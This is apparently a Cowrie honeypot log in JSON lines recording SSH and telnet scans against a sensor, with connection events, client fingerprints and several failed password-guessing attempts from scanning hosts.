{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:04:18.307108Z","src_ip":"50.6.248.168","session":"75cab1f5f465","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.141","src_port":32708,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e5b91026e26","protocol":"ssh","message":"New connection: 45.148.10.141:32708 (159.203.135.109:22) [session: 8e5b91026e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:04:24.237770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:04:24.242177Z","src_ip":"45.148.10.141","session":"8e5b91026e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:04:24.320409Z","src_ip":"45.148.10.141","session":"8e5b91026e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:04:24.650262Z","src_ip":"45.148.10.141","session":"8e5b91026e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":43546,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8a0d145cdab","protocol":"ssh","message":"New connection: 50.6.248.168:43546 (10.17.0.5:22) [session: f8a0d145cdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:05:06.067188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:05:06.074221Z","src_ip":"50.6.248.168","session":"f8a0d145cdab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:05:06.093178Z","src_ip":"50.6.248.168","session":"f8a0d145cdab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456abc","message":"login attempt [ubuntu/123456abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:05:06.213180Z","src_ip":"50.6.248.168","session":"f8a0d145cdab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:05:07.246528Z","src_ip":"50.6.248.168","session":"f8a0d145cdab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":42540,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8da742b5d0b","protocol":"ssh","message":"New connection: 50.6.248.168:42540 (10.17.0.5:22) [session: d8da742b5d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:05:55.095627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:05:55.102278Z","src_ip":"50.6.248.168","session":"d8da742b5d0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:05:55.121978Z","src_ip":"50.6.248.168","session":"d8da742b5d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opuser","password":"opuser","message":"login attempt [opuser/opuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:05:55.246765Z","src_ip":"50.6.248.168","session":"d8da742b5d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:05:56.272730Z","src_ip":"50.6.248.168","session":"d8da742b5d0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":50172,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c209ace2ade","protocol":"ssh","message":"New connection: 50.6.248.168:50172 (10.17.0.5:22) [session: 0c209ace2ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:06:44.951160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:06:44.957387Z","src_ip":"50.6.248.168","session":"0c209ace2ade","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:06:44.972217Z","src_ip":"50.6.248.168","session":"0c209ace2ade","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"blabla123x!","message":"login attempt [ubuntu/blabla123x!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:06:45.078353Z","src_ip":"50.6.248.168","session":"0c209ace2ade","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:06:46.103623Z","src_ip":"50.6.248.168","session":"0c209ace2ade","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":38988,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8dac11a3483","protocol":"telnet","message":"New connection: 34.140.175.139:38988 (159.203.135.109:23) [session: b8dac11a3483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:06:53.335373Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":38990,"dst_ip":"159.203.135.109","dst_port":23,"session":"85d7a8933056","protocol":"telnet","message":"New connection: 34.140.175.139:38990 (159.203.135.109:23) [session: 85d7a8933056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:06:53.492961Z"}
{"eventid":"cowrie.session.closed","duration":0.0052645206451416016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:06:53.498111Z","src_ip":"34.140.175.139","session":"85d7a8933056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":38992,"dst_ip":"159.203.135.109","dst_port":23,"session":"0580551aa426","protocol":"telnet","message":"New connection: 34.140.175.139:38992 (159.203.135.109:23) [session: 0580551aa426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:06:53.648062Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8538,"dst_ip":"159.203.135.109","dst_port":23,"session":"47c71f7d311d","protocol":"telnet","message":"New connection: 34.140.175.139:8538 (159.203.135.109:23) [session: 47c71f7d311d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:02.807162Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:02.812979Z","src_ip":"34.140.175.139","session":"47c71f7d311d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:02.817632Z","src_ip":"34.140.175.139","session":"47c71f7d311d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09018111228942871,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:02.897209Z","src_ip":"34.140.175.139","session":"47c71f7d311d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8550,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2f2fe1be4e4","protocol":"telnet","message":"New connection: 34.140.175.139:8550 (159.203.135.109:23) [session: b2f2fe1be4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:02.972070Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8558,"dst_ip":"159.203.135.109","dst_port":23,"session":"48d7d70a3b45","protocol":"telnet","message":"New connection: 34.140.175.139:8558 (159.203.135.109:23) [session: 48d7d70a3b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:03.126916Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8574,"dst_ip":"159.203.135.109","dst_port":23,"session":"1592537830b9","protocol":"telnet","message":"New connection: 34.140.175.139:8574 (159.203.135.109:23) [session: 1592537830b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:03.281455Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8576,"dst_ip":"159.203.135.109","dst_port":23,"session":"99963d992fd2","protocol":"telnet","message":"New connection: 34.140.175.139:8576 (159.203.135.109:23) [session: 99963d992fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:03.437033Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8592,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bc371a77c74","protocol":"telnet","message":"New connection: 34.140.175.139:8592 (159.203.135.109:23) [session: 9bc371a77c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:03.592543Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8596,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec88e15c5cca","protocol":"telnet","message":"New connection: 34.140.175.139:8596 (159.203.135.109:23) [session: ec88e15c5cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:03.746681Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8600,"dst_ip":"159.203.135.109","dst_port":23,"session":"748626cbf9b4","protocol":"telnet","message":"New connection: 34.140.175.139:8600 (159.203.135.109:23) [session: 748626cbf9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:03.903549Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8602,"dst_ip":"159.203.135.109","dst_port":23,"session":"d527ed38e68e","protocol":"telnet","message":"New connection: 34.140.175.139:8602 (159.203.135.109:23) [session: d527ed38e68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:04.058148Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8610,"dst_ip":"159.203.135.109","dst_port":23,"session":"38f63882e82e","protocol":"telnet","message":"New connection: 34.140.175.139:8610 (159.203.135.109:23) [session: 38f63882e82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:04.212681Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8614,"dst_ip":"159.203.135.109","dst_port":23,"session":"78d4c224b9fb","protocol":"telnet","message":"New connection: 34.140.175.139:8614 (159.203.135.109:23) [session: 78d4c224b9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:04.441177Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8628,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f6ca4724233","protocol":"telnet","message":"New connection: 34.140.175.139:8628 (159.203.135.109:23) [session: 3f6ca4724233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:04.595769Z"}
{"eventid":"cowrie.session.closed","duration":0.0058095455169677734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:04.601432Z","src_ip":"34.140.175.139","session":"3f6ca4724233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8638,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8ef387f94e3","protocol":"telnet","message":"New connection: 34.140.175.139:8638 (159.203.135.109:23) [session: c8ef387f94e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:04.750217Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8654,"dst_ip":"159.203.135.109","dst_port":23,"session":"feffd09776ff","protocol":"telnet","message":"New connection: 34.140.175.139:8654 (159.203.135.109:23) [session: feffd09776ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:04.903753Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8660,"dst_ip":"159.203.135.109","dst_port":23,"session":"be2602bad0ff","protocol":"telnet","message":"New connection: 34.140.175.139:8660 (159.203.135.109:23) [session: be2602bad0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:05.060703Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8674,"dst_ip":"159.203.135.109","dst_port":23,"session":"44abbda08c63","protocol":"telnet","message":"New connection: 34.140.175.139:8674 (159.203.135.109:23) [session: 44abbda08c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:05.218722Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8684,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec5a191f365a","protocol":"telnet","message":"New connection: 34.140.175.139:8684 (159.203.135.109:23) [session: ec5a191f365a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:05.372091Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8696,"dst_ip":"159.203.135.109","dst_port":23,"session":"956fc7d6640b","protocol":"telnet","message":"New connection: 34.140.175.139:8696 (159.203.135.109:23) [session: 956fc7d6640b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:05.526554Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8708,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb15884adc15","protocol":"telnet","message":"New connection: 34.140.175.139:8708 (159.203.135.109:23) [session: eb15884adc15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:05.682052Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8718,"dst_ip":"159.203.135.109","dst_port":23,"session":"28cfadfe926c","protocol":"telnet","message":"New connection: 34.140.175.139:8718 (159.203.135.109:23) [session: 28cfadfe926c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:05.838306Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8732,"dst_ip":"159.203.135.109","dst_port":23,"session":"6efba3bddfa0","protocol":"telnet","message":"New connection: 34.140.175.139:8732 (159.203.135.109:23) [session: 6efba3bddfa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:05.997477Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.006267Z","src_ip":"34.140.175.139","session":"6efba3bddfa0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8734,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0850a76d2d5","protocol":"telnet","message":"New connection: 34.140.175.139:8734 (159.203.135.109:23) [session: d0850a76d2d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.163010Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8744,"dst_ip":"159.203.135.109","dst_port":23,"session":"06ea26cb8f5f","protocol":"telnet","message":"New connection: 34.140.175.139:8744 (159.203.135.109:23) [session: 06ea26cb8f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.317554Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8760,"dst_ip":"159.203.135.109","dst_port":23,"session":"7555eb54b3b4","protocol":"telnet","message":"New connection: 34.140.175.139:8760 (159.203.135.109:23) [session: 7555eb54b3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.474597Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8774,"dst_ip":"159.203.135.109","dst_port":23,"session":"08f0556a47a9","protocol":"telnet","message":"New connection: 34.140.175.139:8774 (159.203.135.109:23) [session: 08f0556a47a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.635667Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.175.139","src_port":8790,"dst_ip":"159.203.135.109","dst_port":23,"session":"b61701cbbcd8","protocol":"telnet","message":"New connection: 34.140.175.139:8790 (159.203.135.109:23) [session: b61701cbbcd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.789381Z"}
{"eventid":"cowrie.session.closed","duration":0.8785812854766846,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.875965Z","src_ip":"34.140.175.139","session":"6efba3bddfa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.5637595653533936,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:07:06.881176Z","src_ip":"34.140.175.139","session":"06ea26cb8f5f","protocol":"telnet"}
